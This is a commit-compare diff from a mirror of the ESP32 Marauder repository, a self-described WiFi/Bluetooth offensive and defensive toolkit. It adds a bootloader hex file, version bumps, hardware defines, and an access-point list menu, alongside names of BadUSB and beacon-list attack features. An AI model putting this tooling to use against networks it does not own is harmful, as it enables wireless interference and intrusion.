mirror of
https://github.com/justcallmekoko/ESP32Marauder.git
synced 2025-12-09 14:20:57 -08:00
Compare commits
14 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
38098cb9e5 | ||
|
|
466d5fbb1a | ||
|
|
51a7ff7e26 | ||
|
|
f166c7a4df | ||
|
|
9e1fe534b0 | ||
|
|
a23e7a4c48 | ||
|
|
f801ba0bc5 | ||
|
|
31687c10cb | ||
|
|
8f57daa699 | ||
|
|
910e25f478 | ||
|
|
039279fc95 | ||
|
|
d2b89654e6 | ||
|
|
6e829f5bf4 | ||
|
|
678179a097 |
@@ -3,7 +3,7 @@
|
||||
<!---[](https://travis-ci.com/justcallmekoko/ESP32Marauder)--->
|
||||
<!---Shields/Badges https://shields.io/--->
|
||||
|
||||
# ESP32 Marauder v0.9.0
|
||||
# ESP32 Marauder v0.9.1
|
||||
<p align="center"><img alt="Marauder logo" src="https://github.com/justcallmekoko/ESP32Marauder/blob/master/pictures/marauder3L.jpg?raw=true" width="300"></p>
|
||||
<p align="center">
|
||||
<b>A suite of WiFi/Bluetooth offensive and defensive tools for the ESP32</b>
|
||||
@@ -19,8 +19,6 @@
|
||||
<br>
|
||||
<a href="https://www.twitch.tv/willstunforfood"><img src="https://assets.stickpng.com/images/580b57fcd9996e24bc43c540.png" alt="Twitch WillStunForFood" width="200"></a>
|
||||
</p>
|
||||
|
||||
Catch my live stream on [Twitch](https://www.twitch.tv/willstunforfood) where I play games, have just chatting sessions to talk tech, and just generally be an ordinary person who can't figure out how to make proper life decisions.
|
||||
|
||||
## Getting Started
|
||||
Download the [latest release](https://github.com/justcallmekoko/ESP32Marauder/releases/latest) of the firmware.
|
||||
|
||||
372
bootloaders/BootloaderMassStorage2.hex
Normal file
372
bootloaders/BootloaderMassStorage2.hex
Normal file
@@ -0,0 +1,372 @@
|
||||
:046800000C940038BC
|
||||
:1068100084B7877F84BF0FB6F894A89580916000F5
|
||||
:10682000886180936000109260000FBE90E080E865
|
||||
:106830000FB6F89480936100909361000FBEC1E0A1
|
||||
:10684000C5BF82E085BF12D7C0936F0083E08093FD
|
||||
:106850008100789480910001882339F081E091E0F3
|
||||
:106860000E94D93D0E94623DF5CF8091800291E067
|
||||
:10687000980F909380028F3F89F78FE99FE00197EF
|
||||
:10688000F1F700C000008091E00081608093E0009B
|
||||
:1068900082E49CED90938C0280938B029CE088E1D3
|
||||
:1068A0000FB6F894A895809360000FBE9093600097
|
||||
:1068B000FFCF0895089581E091E00C94BC3D81E004
|
||||
:1068C00091E00C947B3D81D010928002089591302C
|
||||
:1068D00039F0923051F480E290E02CEE31E009C0C2
|
||||
:1068E00082E190E02CE032E004C080E090E020E023
|
||||
:1068F00030E0FA01318320830895611520E77207A3
|
||||
:106900008105910558F4AB01BC014F7755276627E7
|
||||
:10691000772781E0452B462B472B09F080E08170DB
|
||||
:106920000895BF92CF92DF92EF92FF920F931F9341
|
||||
:10693000CF93DF93EC01E8A0FF8C0BA11AA126E511
|
||||
:10694000E216F10468F080913C01807F85608093BD
|
||||
:106950003C0181E2809346011092470180E02BC008
|
||||
:10696000B62E6701C6018E199F098017910750F452
|
||||
:10697000C601BB2011F0F7D101C02FD13FEFC31AE0
|
||||
:10698000D30AF0CFC801A0E0B0E029E0880F991F3A
|
||||
:10699000AA1FBB1F2A95D1F74C895D896E897F8913
|
||||
:1069A0008A019B01081B190B2A0B3B0B0C8B1D8BBF
|
||||
:1069B0002E8B3F8B81E0DF91CF911F910F91FF9044
|
||||
:1069C000EF90DF90CF90BF900895EF92FF920F93DA
|
||||
:1069D0001F93CF93DF93EC018B8D8F31A0F48D311A
|
||||
:1069E00008F0BAC08231E1F138F4882309F4B4C068
|
||||
:1069F000833009F466C0B5C08A3109F48CC08B318C
|
||||
:106A000009F4A2C0AEC0883209F47FC010F5853207
|
||||
:106A100009F0A7C01092F1001092F1001092F1005D
|
||||
:106A200085E58093F1001092F1001092F10082E070
|
||||
:106A30008093F1001092F1008091E8008E778093AE
|
||||
:106A4000E8008C899D89AE89BF890897A109B109A1
|
||||
:106A500076C08A3209F457C08F3209F47DC081C0F4
|
||||
:106A60000F8D1E8D8C8D837019F48D8D882341F0D0
|
||||
:106A700080913C01807F856080933C0184E278C0F6
|
||||
:106A800078010532110518F084E2E82EF12C40E07F
|
||||
:106A900050E0B7018EE192E020D460E070E0C801E0
|
||||
:106AA0008E199F09E6D38091E8008E778093E800E5
|
||||
:106AB0008C899D89AE89BF898E199F09A109B10969
|
||||
:106AC0003EC01F8D012F133108F002E1E02EF12CA2
|
||||
:106AD00040E050E0B7018AE391E0FFD3812F90E0DE
|
||||
:106AE00060E070E08E199F09C4D38091E8008E7732
|
||||
:106AF0008093E8008C899D89AE89BF89801B9109AC
|
||||
:106B0000A109B1091CC060E001C061E0CE0109DF4C
|
||||
:106B1000882391F133C01092F1001092F10010928D
|
||||
:106B2000F1001092F1008091E8008E778093E800E8
|
||||
:106B30008C899D89AE89BF890497A109B1098C8B85
|
||||
:106B40009D8BAE8BBF8B1AC08F8D837091E082308E
|
||||
:106B500009F490E0909300011C8A1D8A1E8A1F8A06
|
||||
:106B60000DC080913C01807F856080933C0180E274
|
||||
:106B7000809346011092470180E00AC080913C0159
|
||||
:106B8000807F80933C01109246011092470181E082
|
||||
:106B9000DF91CF911F910F91FF90EF9008959B018E
|
||||
:106BA00036952795260FE22FF0E0E80FF91F60FFDA
|
||||
:106BB0000EC080818F70942F9295907F892B808357
|
||||
:106BC00084E0569547958A95E1F74183089540837F
|
||||
:106BD000842F807F852B818308954F925F926F92DF
|
||||
:106BE0007F928F929F92AF92BF92CF92DF92EF925D
|
||||
:106BF000FF920F931F93CF93DF93CDB7DEB7D250A1
|
||||
:106C00000FB6F894DEBF0FBECDBF8C0140E050E060
|
||||
:106C100060E072E0CE010196A9D38091E8008B7705
|
||||
:106C20008093E8000330110508F486C00330110595
|
||||
:106C300051F480EAFE013196ACE4B1E001900D928E
|
||||
:106C40008A95E1F779C08091A6019091A7018150C2
|
||||
:106C5000904C880F991F880F991F0817190778F40F
|
||||
:106C60008091E6019091E7018150904C880F991F27
|
||||
:106C7000880F991F0817190708F040C05DC09C01D4
|
||||
:106C80002D5C3F4F2017310758F34801881A990AA5
|
||||
:106C9000982C8824990CCE0101967C0154019EEF1A
|
||||
:106CA000B91A2401612C712CC4018F779927892B83
|
||||
:106CB00019F4C301B20166D2F701418150E0542FAB
|
||||
:106CC00044278081482BC301B201A0D26401F2E0C5
|
||||
:106CD000CF0ED11CC6018F779927892B31F4B401CF
|
||||
:106CE0006E57710980E090E06FD282E0E80EF11CEF
|
||||
:106CF000AC14BD0409F4B4CF4601D3CF9C012F5F7F
|
||||
:106D00003F4F20173107C0F0081B190B102F002729
|
||||
:106D1000110FFE0131967F01C12CD12CF701619139
|
||||
:106D20007F01C8018C0D9D1DA3D2FFEFCF1ADF0A92
|
||||
:106D3000C11482E0D80691F7DE5F0FB6F894DEBF8B
|
||||
:106D40000FBECDBFDF91CF911F910F91FF90EF90BC
|
||||
:106D5000DF90CF90BF90AF909F908F907F906F907B
|
||||
:106D60005F904F900895AF92BF92CF92DF92EF92D3
|
||||
:106D7000FF920F931F93CF93DF93CDB7DEB7D2501F
|
||||
:106D80000FB6F894DEBF0FBECDBF9E012F5F3F4F01
|
||||
:106D9000790120E032E0F701A90111924150504001
|
||||
:106DA000E1F783309105B8F4019708F58EE3E2E44A
|
||||
:106DB000F2E0D70101900D928A95E1F785E5C15087
|
||||
:106DC000DE4F8883CF5FD1408AEAC050DE4F888390
|
||||
:106DD000C050D2408AC08330910591F580EAECE43E
|
||||
:106DE000F1E0D70101900D928A95E1F77EC048EF5E
|
||||
:106DF0005FE060E070E0C701D2DE4FEF5FE061E08E
|
||||
:106E000070E0C701CCDE6091A6017091A70110E08F
|
||||
:106E1000CB0101966C011C3011F0AC0102C04FEFA8
|
||||
:106E20005FE0C701BCDE1F5FB6011D3089F76091CE
|
||||
:106E3000E6017091E7014FEF5FE0C701B0DE55C09A
|
||||
:106E40002091A6013091A7012150304C220F331F11
|
||||
:106E5000220F331F8217930770F42091E6013091BF
|
||||
:106E6000E7012150304C220F331F220F331F8217AE
|
||||
:106E70009307E8F43AC0A9014D5C5F4F48175907E2
|
||||
:106E800060F3FC01E21BF30B9F01322F2227330F2B
|
||||
:106E9000AE014F5F5D4FD7012E193F09F901EA0F8F
|
||||
:106EA000FB1FE491ED93A417B507C1F7D6CFA90155
|
||||
:106EB0004F5F5F4F48175907C0F08C01021B130B3F
|
||||
:106EC000102F0027110F5E01FFEFAF1AFDEFBF0A71
|
||||
:106ED00067010E191F09C8018C0D9D1DC8D1F6014F
|
||||
:106EE00081936F01EA15FB05B1F740E050E060E0E7
|
||||
:106EF00072E0C701F2D18091E8008E778093E800BC
|
||||
:106F0000DE5F0FB6F894DEBF0FBECDBFDF91CF912D
|
||||
:106F10001F910F91FF90EF90DF90CF90BF90AF90B7
|
||||
:026F20000895D2
|
||||
:1070000055C00000B4C00000B2C00000B0C0000015
|
||||
:10701000AEC00000ACC00000AAC00000A8C00000C4
|
||||
:10702000A6C00000A4C000003EC30000F4C30000DE
|
||||
:107030009EC000009CC000009AC0000098C00000E4
|
||||
:1070400096C0000094C0000092C0000090C00000F4
|
||||
:107050008FC000008CC000008AC0000088C0000003
|
||||
:1070600086C0000084C0000082C0000080C0000014
|
||||
:107070007EC000007CC000007AC0000078C0000024
|
||||
:1070800076C0000074C0000072C0000070C0000034
|
||||
:107090006EC000006CC000006AC0000068C0000044
|
||||
:1070A00066C0000064C0000062C0000011241FBE62
|
||||
:1070B000CFEFDAE0DEBFCDBF83E090E0BAD080FD55
|
||||
:1070C00012C004B601FE0AC081E020918B0230910B
|
||||
:1070D0008C0222343C4D19F080E001C081E094B76D
|
||||
:1070E0009D7F94BF11C004B603FE0AC081E02091C9
|
||||
:1070F0008B0230918C0222343C4D19F080E001C0AB
|
||||
:1071000080E094B7977F94BF20E030E0F90145918B
|
||||
:1071100054918823B9F04F3F5F4FA1F084B7877F28
|
||||
:1071200084BF0FB6F894A895809160008861809321
|
||||
:107130006000109260000FBE10928C0210928B02C1
|
||||
:10714000F901099512E0A0E0B1E0E6E1FEE702C036
|
||||
:1071500005900D92A038B107D9F722E0A0E8B2E07F
|
||||
:1071600001C01D92AB38B207E1F752DB52C648CFDF
|
||||
:107170001F920F920FB60F9211240F900FBE0F9017
|
||||
:107180001F901895CF92DF92EF92FF926B017C01D6
|
||||
:10719000B4DB8823A1F08FB7F89407B600FCFDCFCD
|
||||
:1071A000F999FECF93E0F60190935700E89507B662
|
||||
:1071B00000FCFDCF91E190935700E8958FBFFF90C1
|
||||
:1071C000EF90DF90CF900895CF92DF92EF92FF92F1
|
||||
:1071D0006B017C0192DB8823A1F08FB7F89407B68E
|
||||
:1071E00000FCFDCFF999FECF95E0F6019093570092
|
||||
:1071F000E89507B600FCFDCF91E190935700E89524
|
||||
:107200008FBFFF90EF90DF90CF90089507B600FCFE
|
||||
:10721000FDCFF999FECF21E0FB010A012093570031
|
||||
:10722000E8951124089521E2FC01209357008491F0
|
||||
:10723000089529E0FC012093570084910895E1E02E
|
||||
:10724000F0E089E080935700849108959FB7F89407
|
||||
:1072500007B600FCFDCFF999FECF809529E0E1E06B
|
||||
:10726000F0E0082E20935700E8959FBF0895B7C51A
|
||||
:10727000BEC5EF92FF920F931F93CF93DF937C01D4
|
||||
:107280008B016115710521F0FB01C081D18102C024
|
||||
:10729000C0E0D0E07ED1811119C0CE15DF05A8F481
|
||||
:1072A0008091E80085FD0DC08091E8008E77809385
|
||||
:1072B000E8000115110571F3F801D183C08385E061
|
||||
:1072C00005C01092F1002196E8CF80E0DF91CF91C8
|
||||
:1072D0001F910F91FF90EF900895CF92DF92EF9260
|
||||
:1072E000FF920F931F93CF93DF93EC018B017A01F1
|
||||
:1072F00050D1811132C0E114F10439F0F7018081DD
|
||||
:107300009181081B190BC80FD91FC12CD12C011555
|
||||
:10731000110511F18091E80085FD15C08091E8000C
|
||||
:107320008E778093E800E114F10449F0F701808141
|
||||
:107330009181C80ED91ED182C08285E00EC029D1AC
|
||||
:10734000882329F30AC089918093F1000150110923
|
||||
:10735000FFEFCF1ADF0ADBCF80E0DF91CF911F91E3
|
||||
:107360000F91FF90EF90DF90CF900895CF92DF9232
|
||||
:10737000EF92FF920F931F93CF93DF93EC018B015A
|
||||
:107380007A0107D1811132C0E114F10439F0F7011B
|
||||
:1073900080819181081B190BC80FD91FC12CD12CDA
|
||||
:1073A0000115110511F18091E80085FD15C080914E
|
||||
:1073B000E8008B778093E800E114F10449F0F701CD
|
||||
:1073C00080819181C80ED91ED182C08285E00EC015
|
||||
:1073D000E0D0882329F30AC08091F10089930150FD
|
||||
:1073E0001109FFEFCF1ADF0ADBCF80E0DF91CF91E9
|
||||
:1073F0001F910F91FF90EF90DF90CF900895209113
|
||||
:10740000890230918A022617370748F06115710505
|
||||
:1074100039F42091E8002E772093E80001C0B901EB
|
||||
:10742000FC0120E06115710571F18EB38823E9F14B
|
||||
:107430008530E9F18091E80083FD3BC08091E80050
|
||||
:1074400082FD2DC08091E80080FFECCF2091F300F9
|
||||
:107450008091F20090E0922B6115710551F0883017
|
||||
:10746000910538F421912093F10061507109019642
|
||||
:10747000F3CF21E0089709F020E08091E8008E77B3
|
||||
:107480008093E800CFCF2111D0CF09C08EB38823DD
|
||||
:1074900061F0853061F08091E80083FD0AC0809141
|
||||
:1074A000E80082FFF3CF80E0089582E0089583E052
|
||||
:1074B000089581E008958F708093E900EBEEF0E08D
|
||||
:1074C000808181608083EDEEF0E010826093EC00BB
|
||||
:1074D00040838091EE00881F8827881F08950F93AE
|
||||
:1074E0001F93CF93DF93062FEC0110E0101771F17B
|
||||
:1074F0006881611103C01F5F2596F8CF2C81A98197
|
||||
:10750000BA819B81862F8F70873010F080E01FC07A
|
||||
:10751000223010F442E001C046E0E8E0F0E020E074
|
||||
:10752000EA17FB0720F42F5FEE0FFF1FF9CF22951C
|
||||
:10753000207F422B50E4959F90011124661F6627FF
|
||||
:10754000661F622BB8DF8111D6CFE0CF81E0DF91DB
|
||||
:10755000CF911F910F9108958091830287FF0FC0F3
|
||||
:107560008091E80082FD04C08EB38111F9CF10C074
|
||||
:107570008091E8008B770AC08EB3882349F0809110
|
||||
:10758000E80080FFF9CF8091E8008E778093E800D3
|
||||
:1075900008952091E4003091E50095E64091EC00DB
|
||||
:1075A000842F817040FF22C08091E80080FD1CC0C4
|
||||
:1075B0008EB3882399F0853099F08091EB0085FD9A
|
||||
:1075C00011C04091E4005091E5002417350731F3D4
|
||||
:1075D000915011F09A01E2CF84E0089582E008957D
|
||||
:1075E00083E0089581E0089580E008954091E800E7
|
||||
:1075F00042FFDECF08950F931F93CF93DF9346D0C2
|
||||
:107600004DD0C8EDD0E088818F77888388818068ED
|
||||
:10761000888388818F7D888319BC1EBA109281026D
|
||||
:1076200000EE10E0F80180818B7F8083888181608B
|
||||
:10763000888342E060E080E03EDFE1EEF0E08081C0
|
||||
:107640008E7F8083E2EEF0E08081816080838081A4
|
||||
:1076500088608083F80180818E7F8083888180614B
|
||||
:107660008883DF91CF911F910F910895E8EDF0E0AD
|
||||
:1076700080818F7E8083E7EDF0E080818160808370
|
||||
:1076800084E082BF81E080938202B5CFE8EDF0E034
|
||||
:1076900080818E7F80831092E20008951092DA003C
|
||||
:1076A0001092E10008951F920F920FB60F921124CD
|
||||
:1076B0002F933F934F935F936F937F938F939F93FA
|
||||
:1076C000AF93BF93EF93FF938091DA0080FF1BC0CD
|
||||
:1076D0008091D80080FF17C08091DA008E7F809360
|
||||
:1076E000DA008091D90080FF0BC080E189BD82E182
|
||||
:1076F00089BD09B400FEFDCF81E08EBBDAD803C09E
|
||||
:1077000019BC1EBAD7D88091E10080FF17C08091C4
|
||||
:10771000E20080FF13C08091E2008E7F8093E20040
|
||||
:107720008091E20080618093E2008091D8008062C5
|
||||
:107730008093D80019BC85E08EBBC3D18091E10055
|
||||
:1077400084FF2EC08091E20084FF2AC080E189BDC1
|
||||
:1077500082E189BD09B400FEFDCF8091D8008F7D04
|
||||
:107760008093D8008091E1008F7E8093E10080912A
|
||||
:10777000E2008F7E8093E2008091E200816080933E
|
||||
:10778000E20080918102882311F084E007C080919B
|
||||
:10779000E30087FD02C081E001C083E08EBB91D190
|
||||
:1077A0008091E10083FF26C08091E20083FF22C028
|
||||
:1077B0008091E100877F8093E10082E08EBB109290
|
||||
:1077C00081028091E1008E7F8093E1008091E20050
|
||||
:1077D0008E7F8093E2008091E20080618093E200DE
|
||||
:1077E00042E060E080E067DE8091F0008860809396
|
||||
:1077F000F00067D1FF91EF91BF91AF919F918F9171
|
||||
:107800007F916F915F914F913F912F910F900FBE9C
|
||||
:107810000F901F9018951F920F920FB60F92112480
|
||||
:107820002F933F934F935F936F937F938F939F9388
|
||||
:10783000AF93BF93CF93DF93EF93FF93C091E90092
|
||||
:10784000CF708091EC00D82FD17080FDD0E81092DD
|
||||
:10785000E9008091F000877F8093F00078941ED03B
|
||||
:107860001092E9008091F00088608093F000CD2BA9
|
||||
:10787000CF70C093E900FF91EF91DF91CF91BF915D
|
||||
:10788000AF919F918F917F916F915F914F913F91B8
|
||||
:107890002F910F900FBE0F901F9018951F93CF93AD
|
||||
:1078A000DF9300D0CDB7DEB7E3E8F2E08BE892E0FB
|
||||
:1078B0002091F10021938E179F07D1F700D8809176
|
||||
:1078C000E80083FFEAC080918302909184029530A2
|
||||
:1078D00009F46FC030F4913071F168F0933059F1D0
|
||||
:1078E000DCC0983009F4A9C0993009F4B5C09630CD
|
||||
:1078F00009F0D3C07FC0803899F0823809F0CDC03C
|
||||
:10790000809187028F70873008F0C7C08093E900AC
|
||||
:107910008091EB0085FB882780F91092E90001C077
|
||||
:1079200080E09091E800977F9093E8008093F100C9
|
||||
:107930001092F1008DC0282F2D7F09F0AEC082304B
|
||||
:1079400009F0ABC08091850281112AC08091870225
|
||||
:107950008F702FEF280F263008F09FC08093E9002A
|
||||
:107960002091EB0020FF1CC0933021F48091EB00AC
|
||||
:10797000806214C09091EB0090619093EB0021E045
|
||||
:1079800030E0A90102C0440F551F8A95E2F74093E9
|
||||
:10799000EA001092EA008091EB0088608093EB008F
|
||||
:1079A0001092E9008091E800877F8093E800D4DDA1
|
||||
:1079B00074C0811172C0109185021F778091E3001D
|
||||
:1079C0008078812B8093E3008091E800877F80930B
|
||||
:1079D000E800C2DD8091E80080FFFCCF8091E300E9
|
||||
:1079E00080688093E300111102C082E001C083E04F
|
||||
:1079F0008EBB53C08058823008F04FC06091870220
|
||||
:107A000070918802AE014F5F5F4F80918502909127
|
||||
:107A100086020E946734BC01892B09F43EC0909114
|
||||
:107A2000E800977F9093E80089819A81E8DC809153
|
||||
:107A3000E8008B778093E80030C0803871F5809142
|
||||
:107A4000E800877F8093E800809181028093F100B5
|
||||
:107A50008091E8008E77A9CF81111FC080918502A7
|
||||
:107A60009091860299270297C4F48091E800877F5D
|
||||
:107A70008093E80080918502809381026DDD809182
|
||||
:107A80008102811106C08091E30087FD02C081E080
|
||||
:107A900001C084E08EBB0E945B348091E80083FFCC
|
||||
:107AA0000AC08091E800877F8093E8008091EB0016
|
||||
:107AB00080628093EB000F900F90DF91CF911F9128
|
||||
:107AC00008950895CF938EB3882399F0C091E9006B
|
||||
:107AD000CF709091EC00892F817090FD80E8C82BC9
|
||||
:107AE0001092E9008091E80083FDD8DECF70C0934A
|
||||
:107AF000E900CF910895CF93DF932091E80023FF11
|
||||
:107B000038C0FC01208130E040918702509188020A
|
||||
:107B10004217530771F5209184022E3F81F02F3FC9
|
||||
:107B200041F520918302213221F5EC018091E8009A
|
||||
:107B3000877F8093E80010DD81E088AF1AC0209134
|
||||
:107B40008302213AB1F42091E800277F2093E800D6
|
||||
:107B50002091E80020FFFCCFFC01838581508093B9
|
||||
:107B6000F1008091E8008E778093E800DF91CF915B
|
||||
:107B7000F3CCDF91CF910895CF93DF93EC01FC011B
|
||||
:107B80003C968DE2DF011D928A95E9F782E08C83B5
|
||||
:107B9000898761E0CE010196A2DC882331F061E0A3
|
||||
:107BA000CE010696DF91CF919ACC80E0DF91CF9104
|
||||
:107BB0000895EF92FF920F931F93CF93DF9300D01E
|
||||
:107BC000CDB7DEB72EB3243009F000C18C01FC0123
|
||||
:107BD00086818F708093E9008091E80082FFBDC0AC
|
||||
:107BE00086818F708093E9001A8219827801FCE007
|
||||
:107BF000EF0EF11CAE014F5F5F4F6FE070E0C70109
|
||||
:107C0000B5DBF801853021F480AD882399F3A5C058
|
||||
:107C100084859585A685B78585359345A244B3446B
|
||||
:107C200061F4F801918D8385981738F4808D8F71F8
|
||||
:107C300021F4828D8150803180F08091EB00806250
|
||||
:107C40008093EB00F80181818F708093E90080912F
|
||||
:107C5000EB0080628093EB0080C01A821982780169
|
||||
:107C6000FBE1EF0EF11CF801628D70E0AE014F5F99
|
||||
:107C70005F4FC7017BDB853029F4F80180AD882395
|
||||
:107C800091F36BC08091E8008B778093E800F80156
|
||||
:107C9000808D87FF04C081818F708093E900C801C7
|
||||
:107CA0000E94633491E09827F80197AB45E553E5CE
|
||||
:107CB00062E473E543A754A765A776A74089518975
|
||||
:107CC0006289738947A750AB61AB72AB4489558910
|
||||
:107CD0006689778943AB54AB65AB76AB811109C03C
|
||||
:107CE000452B462B472B29F08091EB008062809337
|
||||
:107CF000EB00F80186818F708093E9008091EB00A2
|
||||
:107D0000F80185FF04C080AD8823C1F326C08181BE
|
||||
:107D10008F708093E9008091EB0085FF05C0F8012A
|
||||
:107D200080AD8823C1F319C01A8219827801FBE261
|
||||
:107D3000EF0EF11CAE014F5F5F4F6DE070E0C701C9
|
||||
:107D4000CCDA853029F4F80180AD882399F305C099
|
||||
:107D50008091E8008E778093E800F80180AD882359
|
||||
:107D6000A9F126812F7081E090E0AC0102C0440FA0
|
||||
:107D7000551F2A95E2F74093EA001092EA0021810C
|
||||
:107D80002F7001C0880F2A95EAF78093EA001092BD
|
||||
:107D9000EA0086818F708093E9008091EB0080611A
|
||||
:107DA0008093EB008091EB0088608093EB008181F1
|
||||
:107DB0008F708093E9008091EB0080618093EB00ED
|
||||
:107DC0008091EB0088608093EB0010AE0F900F90D5
|
||||
:107DD000DF91CF911F910F91FF90EF900895F99946
|
||||
:107DE000FECF92BD81BDF89A992780B50895262FC0
|
||||
:107DF000F999FECF92BD81BDF89A019700B40216A1
|
||||
:107E000039F01FBA20BD0FB6F894FA9AF99A0FBE4E
|
||||
:067E10000895F894FFCF75
|
||||
:107E16000100834000000104400000010100000051
|
||||
:107E2600000000000000000000000000000000004C
|
||||
:107E3600000000000000000000000000000000003C
|
||||
:107E460000000000000000000000700000000000BC
|
||||
:107E5600000A000000000000000000004C554641EA
|
||||
:107E660020424F4F54202008000000000000000070
|
||||
:107E76000000000000000000000000004146004C29
|
||||
:107E8600004100530048000F00262E004200490022
|
||||
:107E96004E0000000000000000000000464C415368
|
||||
:107EA6004820202042494E0000000000000000004B
|
||||
:107EB600000020084E1202000068000041450045FF
|
||||
:107EC60000500052004F000F00144D002E004200DB
|
||||
:107ED60049004E00000000000000000045455052D9
|
||||
:107EE6004F4D202042494E000000000000000000D7
|
||||
:107EF600000020084E120F00FF03000009022000B8
|
||||
:107F0600010100803209040000020806500007053E
|
||||
:107F16008302400005070504024000051201100116
|
||||
:107F260000000008EB03452001000000000100806E
|
||||
:107F360000021F0000004C55464100000000426F41
|
||||
:107F46006F746C6F61646572000000000000302E73
|
||||
:107F56003030EB3C906D6B646F7366730000020407
|
||||
:107F660001000210005600F8010016000100000092
|
||||
:107F7600000000000000000029785634124C5546D7
|
||||
:107F86004120424F4F542020464154313220202078
|
||||
:107FA000F1C812C933C93FC944C949C94FC9089565
|
||||
:087FB000089508950895089555
|
||||
:107FE000DFCFDFCFDFCFDFCFDFCFDFCFDFCFDFCF21
|
||||
:087FF000DFCFDFCFDFCFDFCFD1
|
||||
:087FF8000070000030DFFBDC2B
|
||||
:040000030000700089
|
||||
:00000001FF
|
||||
File diff suppressed because one or more lines are too long
@@ -53,7 +53,7 @@ void Display::RunSetup()
|
||||
// This should probably have its own class
|
||||
if (!SPIFFS.begin()) {
|
||||
Serial.println(F("SPIFFS initialisation failed!"));
|
||||
while (1) yield(); // Stay here twiddling thumbs waiting
|
||||
//while (1) yield(); // Stay here twiddling thumbs waiting
|
||||
}
|
||||
|
||||
//this->initLVGL();
|
||||
@@ -68,6 +68,10 @@ void Display::RunSetup()
|
||||
//digitalWrite(TFT_BL, HIGH);
|
||||
|
||||
//delay(5000);
|
||||
|
||||
#ifdef KIT
|
||||
pinMode(KIT_LED_BUILTIN, OUTPUT);
|
||||
#endif
|
||||
}
|
||||
|
||||
/* Interrupt driven periodic handler */
|
||||
@@ -443,15 +447,16 @@ void Display::drawJpeg(const char *filename, int xpos, int ypos) {
|
||||
fs::File jpegFile = SPIFFS.open( filename, "r"); // File handle reference for SPIFFS
|
||||
|
||||
//ESP32 always seems to return 1 for jpegFile so this null trap does not work
|
||||
if ( !jpegFile ) {
|
||||
Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
|
||||
return;
|
||||
}
|
||||
//if ( !jpegFile ) {
|
||||
// Serial.print("ERROR: File \""); Serial.print(filename); Serial.println ("\" not found!");
|
||||
// return;
|
||||
//}
|
||||
|
||||
// Use one of the three following methods to initialise the decoder,
|
||||
// the filename can be a String or character array type:
|
||||
|
||||
boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
|
||||
//boolean decoded = JpegDec.decodeFsFile(filename); // or pass the filename (leading / distinguishes SPIFFS files)
|
||||
boolean decoded = JpegDec.decodeArray(MarauderTitle, 13578);
|
||||
|
||||
if (decoded) {
|
||||
// print information about the image to the serial port
|
||||
@@ -615,7 +620,7 @@ void Display::jpegRender(int xpos, int ypos) {
|
||||
// Print information decoded from the Jpeg image
|
||||
//====================================================================================
|
||||
void Display::jpegInfo() {
|
||||
/*
|
||||
|
||||
Serial.println("===============");
|
||||
Serial.println("JPEG image info");
|
||||
Serial.println("===============");
|
||||
@@ -629,7 +634,7 @@ void Display::jpegInfo() {
|
||||
Serial.print ("MCU height :"); Serial.println(JpegDec.MCUHeight);
|
||||
Serial.println("===============");
|
||||
Serial.println("");
|
||||
*/
|
||||
|
||||
}
|
||||
|
||||
//====================================================================================
|
||||
|
||||
@@ -46,8 +46,9 @@
|
||||
#define LV_ADD_SSID 14
|
||||
#define WIFI_ATTACK_BEACON_LIST 15
|
||||
|
||||
#define TFT_SHIELD
|
||||
//#define TFT_DIY
|
||||
//#define TFT_SHIELD
|
||||
#define TFT_DIY
|
||||
#define KIT
|
||||
|
||||
#define SCREEN_WIDTH 240
|
||||
#define SCREEN_HEIGHT 320
|
||||
@@ -64,12 +65,14 @@
|
||||
//#define MENU_FONT &FreeMonoBold9pt7b
|
||||
//#define MENU_FONT &FreeSans9pt7b
|
||||
//#define MENU_FONT &FreeSansBold9pt7b
|
||||
#define BUTTON_ARRAY_LEN 8
|
||||
#define BUTTON_ARRAY_LEN 9
|
||||
#define STATUS_BAR_WIDTH 16
|
||||
#define LVGL_TICK_PERIOD 6
|
||||
|
||||
#define STATUSBAR_COLOR 0x4A49
|
||||
|
||||
#define KIT_LED_BUILTIN 13
|
||||
|
||||
/*
|
||||
PROGMEM void my_disp_flush(lv_disp_drv_t *disp, const lv_area_t *area, lv_color_t *color_p);
|
||||
PROGMEM bool my_touchpad_read(lv_indev_drv_t * indev_driver, lv_indev_data_t * data);
|
||||
@@ -108,7 +111,7 @@ class Display
|
||||
TFT_eSPI tft = TFT_eSPI();
|
||||
TFT_eSprite img = TFT_eSprite(&tft);
|
||||
TFT_eSPI_Button key[BUTTON_ARRAY_LEN];
|
||||
const String PROGMEM version_number = "v0.9.0";
|
||||
const String PROGMEM version_number = "v0.9.3";
|
||||
|
||||
bool printing = false;
|
||||
bool loading = false;
|
||||
|
||||
@@ -155,6 +155,98 @@ void MenuFunctions::writeBadUSB(){
|
||||
lv_keyboard_set_cursor_manage(kb, true);
|
||||
}
|
||||
|
||||
void MenuFunctions::addAPGFX(){
|
||||
extern LinkedList<AccessPoint>* access_points;
|
||||
|
||||
lv_obj_t * list1 = lv_list_create(lv_scr_act(), NULL);
|
||||
lv_obj_set_size(list1, 160, 200);
|
||||
lv_obj_set_width(list1, LV_HOR_RES);
|
||||
lv_obj_align(list1, NULL, LV_ALIGN_CENTER, 0, 0);
|
||||
|
||||
lv_obj_t * list_btn;
|
||||
|
||||
lv_obj_t * label;
|
||||
|
||||
list_btn = lv_list_add_btn(list1, LV_SYMBOL_CLOSE, "Exit");
|
||||
lv_obj_set_event_cb(list_btn, ap_list_cb);
|
||||
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
char buf[access_points->get(i).essid.length() + 1] = {};
|
||||
access_points->get(i).essid.toCharArray(buf, access_points->get(i).essid.length() + 1);
|
||||
|
||||
list_btn = lv_list_add_btn(list1, LV_SYMBOL_WIFI, buf);
|
||||
lv_btn_set_checkable(list_btn, true);
|
||||
lv_obj_set_event_cb(list_btn, ap_list_cb);
|
||||
|
||||
if (access_points->get(i).selected)
|
||||
lv_btn_toggle(list_btn);
|
||||
|
||||
//lv_obj_t * btn1 = lv_btn_create(list_btn, NULL);
|
||||
//lv_obj_set_event_cb(btn1, ap_list_cb);
|
||||
//lv_obj_align(btn1, NULL, LV_ALIGN_CENTER, 0, 0);
|
||||
//lv_btn_set_checkable(btn1, true);
|
||||
|
||||
//label = lv_label_create(btn1, NULL);
|
||||
//lv_label_set_text(label, buf);
|
||||
}
|
||||
}
|
||||
|
||||
